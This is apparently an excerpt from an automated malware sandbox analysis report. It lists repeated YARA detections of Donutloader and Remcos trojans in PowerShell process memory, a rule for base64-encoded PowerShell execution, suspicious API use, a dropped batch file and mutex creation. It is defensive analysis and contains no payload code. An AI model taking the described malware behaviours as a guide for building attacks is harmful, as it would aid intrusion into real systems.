                        Source: 0000001F.00000002.2750695146.0000000005A60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 00000014.00000002.2490016564.000000000A051000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 00000024.00000002.2996548604.000000000893C000.00000002.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: 0000000B.00000002.2350208947.0000000009ADF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 0000000B.00000002.2349076560.0000000008DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: 00000042.00000002.4928229851.000000000912C000.00000002.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: 00000047.00000002.4620275632.0000000005B9D000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 00000029.00000002.3167840434.000000000915C000.00000002.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: 0000001A.00000002.2617198211.0000000005FE1000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 00000033.00000002.3478725780.00000000059D4000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 00000033.00000002.3466563546.00000000058F4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 00000042.00000002.4297961642.000000000626D000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 00000042.00000002.4262582237.000000000617D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 0000000B.00000002.2349927057.0000000008E98000.00000002.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: 00000038.00000002.4114322266.0000000008BBC000.00000002.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: 0000002E.00000002.3374030025.0000000008F3C000.00000002.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: 00000024.00000002.2907563151.00000000058FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 00000033.00000002.3664827412.000000000877C000.00000002.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: 0000004C.00000002.4790906706.00000000063AC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 0000001F.00000002.2753711759.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 00000014.00000002.2457946606.00000000059C1000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 00000024.00000002.2911085903.000000000599B000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 0000003D.00000002.3923602792.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 00000047.00000002.4582964542.0000000005AFD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 0000000B.00000002.2334356106.000000000682E000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 00000014.00000002.2456518296.0000000005921000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 0000001F.00000002.2813278189.000000000A1F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 0000001A.00000002.2674769480.0000000008E2C000.00000002.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: 0000000B.00000002.2319461302.0000000006424000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: Process Memory Space: powershell.exe PID: 6092, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: Process Memory Space: powershell.exe PID: 6092, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                        Source: Process Memory Space: powershell.exe PID: 7524, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: Process Memory Space: powershell.exe PID: 7524, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                        Source: Process Memory Space: powershell.exe PID: 7848, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: Process Memory Space: powershell.exe PID: 7848, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                        Source: Process Memory Space: powershell.exe PID: 8120, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: Process Memory Space: powershell.exe PID: 8120, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                        Source: Process Memory Space: powershell.exe PID: 364, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: Process Memory Space: powershell.exe PID: 364, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                        Source: Process Memory Space: powershell.exe PID: 7468, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: Process Memory Space: powershell.exe PID: 7468, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                        Source: Process Memory Space: powershell.exe PID: 1588, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: Process Memory Space: powershell.exe PID: 1588, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                        Source: Process Memory Space: powershell.exe PID: 8008, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: Process Memory Space: powershell.exe PID: 8008, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                        Source: Process Memory Space: powershell.exe PID: 3432, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: Process Memory Space: powershell.exe PID: 3432, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                        Source: Process Memory Space: powershell.exe PID: 6532, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: Process Memory Space: powershell.exe PID: 6532, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                        Source: Process Memory Space: powershell.exe PID: 3852, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: Process Memory Space: powershell.exe PID: 3852, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                        Source: Process Memory Space: powershell.exe PID: 6504, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                        Source: 11.2.powershell.exe.6369538.1.raw.unpack, ymmhl.csCryptographic APIs: 'TransformFinalBlock'
                        Source: 11.2.powershell.exe.a6f9058.6.raw.unpack, ymmhl.csCryptographic APIs: 'TransformFinalBlock'
                        Source: 11.2.powershell.exe.8d40000.2.raw.unpack, ymmhl.csCryptographic APIs: 'TransformFinalBlock'
                        Source: 11.2.powershell.exe.8d40000.2.raw.unpack, ymmhl.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
                        Source: 11.2.powershell.exe.8d40000.2.raw.unpack, ymmhl.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                        Source: 11.2.powershell.exe.a6f9058.6.raw.unpack, ymmhl.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
                        Source: 11.2.powershell.exe.a6f9058.6.raw.unpack, ymmhl.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                        Source: 11.2.powershell.exe.6369538.1.raw.unpack, ymmhl.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
                        Source: 11.2.powershell.exe.6369538.1.raw.unpack, ymmhl.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                        Source: classification engineClassification label: mal100.troj.spyw.expl.evad.winBAT@118/98@3/3
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_004182CE GetLastError,FormatMessageW,FormatMessageA,LocalFree,free,12_2_004182CE
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_00410DE1 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueA,GetProcAddress,AdjustTokenPrivileges,CloseHandle,14_2_00410DE1
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_00418758 GetDiskFreeSpaceW,GetDiskFreeSpaceA,free,12_2_00418758
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_00413D4C CreateToolhelp32Snapshot,memset,Process32FirstW,OpenProcess,memset,GetModuleHandleW,GetProcAddress,CloseHandle,free,Process32NextW,CloseHandle,12_2_00413D4C
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_004148B6 FindResourceW,SizeofResource,LoadResource,LockResource,12_2_004148B6
                        Source: C:\Windows\System32\cmd.exeFile created: C:\Users\user\dwm.batJump to behavior
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8176:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6980:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5432:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7976:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7480:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7840:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7756:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1656:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7384:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1700:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7564:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7428:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8032:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6236:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2304:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7892:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4440:120:WilError_03
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2436:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:424:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3204:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:64:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7588:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7752:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8076:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8064:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7392:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5244:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7232:120:WilError_03
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7804:120:WilError_03
